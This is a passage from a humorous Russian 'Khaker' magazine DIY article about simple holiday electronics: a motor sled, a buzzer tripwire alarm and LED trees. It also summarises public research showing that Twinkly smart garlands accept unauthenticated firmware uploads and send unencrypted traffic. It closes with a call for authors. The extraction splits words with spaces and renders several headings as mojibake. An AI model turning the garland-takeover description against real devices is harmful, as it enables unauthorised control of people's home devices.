по ней ток, мы смо жем соз дать элек тро маг нитное поле вок руг про вод ника.
Оно будет вза имо дей ство вать с полюса ми маг нитов, и в ито ге от одно го рам ка
оттол кнет ся, а к дру гому при тянет ся. Так рам ка дой дет до горизон таль ного
положе ния, в котором маг нитное поле перес танет дей ство вать на маг нит. Что -
бы вра щение про дол жилось, необ ходимо добавить еще одну рам ку под углом
либо поменять нап равле ние тока в рам ке в нуж ный момент. На гиф ке выше
это дела ется при помощи двух полуко лец, к которым под клю чены кон так тные
плас тины от батарей ки. И пос ле совер шения полу обо рота меня ется поляр -
ность и вра щение не прек раща ется.

Су щес тву ет немало раз ных типов элек тро мото ров, но нам пот ребу ется дви -
гатель пос тоян ного тока. Перек лючение фаз здесь про исхо дит пря мо внут ри
дви гате ля. Бла года ря это му он может питать ся и пос тоян ным током,
и перемен ным. Пос тоян ный ток с течени ем вре мени не изме няет ся по величи -
не и нап равле нию, а перемен ный — изме няет ся.

Элек трод вигатель на схе ме

Ïðîäîëæàåì äåëàòü ñàíè

Са нями мы будем управлять с рас сто яния, прав да неболь шого. Не ста нем наг -
ружать ся дис танци онным управле нием (может, сде лаем это в сле дующем
году). А сей час обой дем ся про вод ным. Изго товим прос той пульт из перек -
лючате лей и по длин ному про воду будем рулить нашими санями.

Но сна чала нам пот ребу ются сами сани. Не на голых же моторах ездить,
как барон Мюн хга узен на ядре. Спе циаль но для тебя при лагаю чер теж с раз -
мерами, смо жешь вырезать все детали сам из плас тмас сы с помощью наг -
ретого паяль ником ножа или из дерева с помощью лоб зика.

Чер теж саней

Из элек тро ники, как ты уже догадал ся, нам пот ребу ется все го ничего: два
мотор чика-редук тора и колеса для них, кноп ка для запус ка дви гате лей
и неболь шой акку муля тор — надо же нам чем-то питать наши сани.

Те перь паяй всё по схе ме сни зу и раз мещай на наших санях. На «Хакере»
есть . Про вода, иду щие от акку муля тора и от кноп -
ки к моторам, ты можешь выб рать любой удоб ной тебе дли ны — они будут
соеди нять сани с пуль том, и от нее зависит, нас коль ко далеко ты смо жешь
отой ти.

статья о том, как это делать

Ре дук торы с колеса ми рас положи по бокам, что бы колеса чуть при под -
нимали зад нюю часть саней. А на акку муля тор или батарей ку нак лей кноп -
ку — можешь исполь зовать их как кар кас для «пуль та». Если пос ле мон тажа
колеса кру тят ся не в ту сто рону, зна чит, сто ит поменять поляр ность акку муля -
тора.

Схе ма элек тро ники саней

От лично, теперь у нас есть сани. Преж де чем отправ лять ся красть на них
подар ки, пот ренируй ся в управле нии. Кноп ка будет дви гать их впе ред, а про -
водом от «пуль та» мож но оття нуть сани назад. Такое вот прос тое управле ние.

ËÎÂÓØÊÀ ÄËß ÑÀÍÒÛ

Са ни мы сде лали, доеха ли на них до домика ничего не подоз рева ющих
жителей пла неты Зем ля, про ник ли в дом и заб рали все подар ки. Лег ко! Но что
делать, если мы опе реди ли Деда Мороза и он еще не при шел? Ты ведь зна -
ешь, что он не может показы вать ся на гла за людям. Исполь зуем эту сла бость
себе во бла го! Что бы спуг нуть новогод него вол шебни ка, нам дос таточ но все го
лишь его обна ружить. Для это го мы с тобой изго товим прос тую сиг нализа -
цию-рас тяжку, которую мож но уста новить куда угод но. На окно, на дверь,
да хоть на камин. Как толь ко пузатый крас ноносый дед про лезет в квар тиру,
сра бота ет сиг нализа ция, ее жиль цы прос нутся, и Дед Мороз исчезнет! Ник то
не получит подар ков, как и задума но.

Для изго тов ления сиг нализа ции нам пот ребу ется при щеп ка, батарей ка,
пара кусоч ков метал личес кого про вод ника и пьезо дина мик. Из все го спис ка
пос ледний эле мент не был опи сан в стать ях на «Хакере», поэто му сей час я
рас ска жу о нем под робнее.

Ïüåçîäèíàìèê

Внеш ний вид пьезо дина мика и обоз начение на схе ме

Од на из глав ных час тей пьезо дина мика (он же зум мер) — это мем бра на.
Она-то и изда ет звук. Про исхо дит это за счет ее неп рерыв ного колеба ния.
По сути, она сво ей виб раци ей «сот ряса ет» воз дух, так и получа ется писк.
Но если подать на мем бра ну пос тоян ное нап ряжение, зву ка ты не услы шишь,
раз ве что тихий щел чок. Мем бра на выг нется, при мет одно положе ние и боль -
ше дви гать ся не будет. Что бы зас тавить ее и даль ше зву чать, необ ходимо пос -
тоян но менять нап ряжение. Сде лать это мож но с помощью ана лого вого
или циф рового сиг нала, о них уже говори лось в . Для работы
пьезо дина мика необ ходим генера тор зву ковых колеба ний. В боль шинс тве
сов ремен ных зум меров он встро енный, но перед покуп кой в этом луч ше убе -
дить ся.

од ной из ста тей

Âîçâðàùàåìñÿ ê ñèãíàëèçàöèè

Итак, нам оста лось при соеди нить к кон цам при щеп ки метал личес кие про вод -
ники (зак ручен ная в малень кую спи раль скреп ка пой дет) и при паять про вод ки
от них. Один — к кон такту зум мера, дру гой — к батарей ке, а так же соеди нить
оставши еся кон цы. Теперь надо все как сле дует зак репить на скреп ке, что бы
ловуш ка получи лась мак сималь но ком пак тной. И необ ходимо «взвес ти» нашу
сиг нализа цию. Для это го надо изго товить саму рас тяжку. Это будет прос то
нит ка, с одно го кон ца которой при вяжем тон кий диэлек трик, хотя бы кусочек
кар тона. Теперь его мож но зажать меж ду про вод никами при щеп ки и уста -
новить в нуж ном мес те. Как толь ко дверь откро ется, диэлек трик вылетит
из зажима, и цепь зам кнет ся. По квар тире раз дас тся писк — все прос нутся,
и Дед Мороз сбе жит.

Ло вуш ка на Деда Мороза готова!

ÏÎÕÈÒÈÒÅËÈ ÅËÎÊ

Нет ничего луч ше, чем похитить елку! Но тас кать деревья я устал, поэто му ты
сде лаешь елку сво ими руками, а я у тебя ее укра ду! Тебе понадо бят ся паяль -
ник и све тоди оды. Еще мож но изго товить неболь шой блок управле ния на базе
чипа 555, что бы зас тавить нашу елку мигать. Про такую схе му на «Хакере» уже
была , можешь пос мотреть схе му там, соб рать ее и под клю чить к нашей
елке.

статья

Па ять елку будет очень прос то — дос таточ но пос ледова тель но соеди нить
все све тоди оды и источник питания. Анод одно го све тоди ода — к катоду сле -
дующе го, и так, пока не кон чатся све тоди оды. В кон це, ког да оста нет ся все го
два кон такта, надо, не перепу тав их, при паять анод к плю су батарей ки,
а катод — к минусу.

Схе ма пай ки елки

Те перь оста лось при паять кон цы нашей схе мы к батарей ке «Кро на». Елка
готова! Иду похищать.

Ел ка

Те перь я бы хотел украсть новогод нюю звез ду. Вот тебе схе ма пай ки под -
ходящей звез ды. Немед ленно при нимай ся за работу!

Схе ма пай ки звез ды

От лично, теперь у нас и елка, и звез да есть. Все очень ком пак тное — украв,
мож но носить с собой в сум ке и хвас тать ся.

Звез да

ÐÓÊÎÂÎÄÑÒÂÎ ÏÎ ÂÇËÎÌÓ ÃÈÐËßÍÄ

Я обе щал еще рас ска зать о взло ме гир лянд. Обыч ную гир лянду, которую под -
клю чают в розет ку, мож но взло мать толь ко физичес ки. Вскрыть блок управле -
ния, под клю чить мик рокон трол лер, нап ример Arduino, и написать собс твен ную
прог рамму управле ния гир ляндой. Если тебе это инте рес но, но ты не зна ешь,
как поль зовать ся Arduino, то заг ляни на , там неп лохо опи саны
азы управле ния этим мик рокон трол лером.

ви ки «Амперки»

Ум ные гир лянды для нас тояще го зло дея куда прив лекатель нее! Ведь мож -
но под клю чить ся к ним по Wi-Fi и управлять каж дым све тоди одом отдель но.
Мои прис пешни ки еще в далеком 2018 году ,
изу чили очень популяр ные IoT-гир лянды мар ки Twinkly и даже соз дали кноп ку
для отклю чения всех под клю чен ных в сеть гир лянд!

за инте ресо вались этой темой

Пар ни разоб рались, как гир лянда сооб щает ся с мобиль ным при ложе нием.
Они выяс нили, что сна чала надо нап рямую под клю чить ся к Twinkly как к точ ке
дос тупа и нас тро ить под клю чение гир лянды к домаш ней сети, через которую
ты будешь управлять гир ляндой. Изу чив сооб щение, они узна ли, что переда -
ваемые дан ные не зашиф рованы, нес мотря на то что при исходной нас трой ке
пароль от Wi-Fi и переда вал ся в зашиф рован ном виде. Если шиф рования нет,
зна чит, мож но про вер нуть MITM и изу чить работу API.

В ито ге эти лихие ребята выяс нили, что мож но уста новить на гир лянды
любую про шив ку и исполнять про изволь ный код, ведь для это го не тре бует ся
никакая авто риза ция.

Толь ко , они вывели на гир лянду «змей ку»! А еще про вели ата ку,
в ходе которой на всех обна ружен ных устрой ствах Twinkly выводит ся «Hack
the Planet».

пос мотри

MISSION COMPLETE

Мой дорогой прис пешник, ты хорошо порабо тал, и вмес те мы под готови лись
к похище нию праз дни ка. Но зна ешь, я что подумал? Этот год выдал ся
не таким уж и прос тым для мно гих. И было бы сов сем нек расиво лишать
людей воз можнос ти весело про вес ти вре мя в кру гу семьи или дру зей, так что
пус кай праз дну ют. Зато в сле дующем году мы вер немся с еще боль шим
количес твом пакос тей!

mailto:7753313vv@gmail.com
https://xakep.ru/2022/04/15/mosfet/
https://xakep.ru/2022/05/31/chips-anatomy/
https://xakep.ru/2022/06/27/soldering-guide/
https://xakep.ru/2022/08/17/soldering-art/
https://xakep.ru/2022/06/27/soldering-guide/
https://xakep.ru/2022/04/15/mosfet/
https://xakep.ru/2022/05/31/chips-anatomy/
http://wiki.amperka.ru/
https://labs.withsecure.com/publications/twinkly-twinkly-little-star
https://www.youtube.com/watch?v=cQEljGixuTg


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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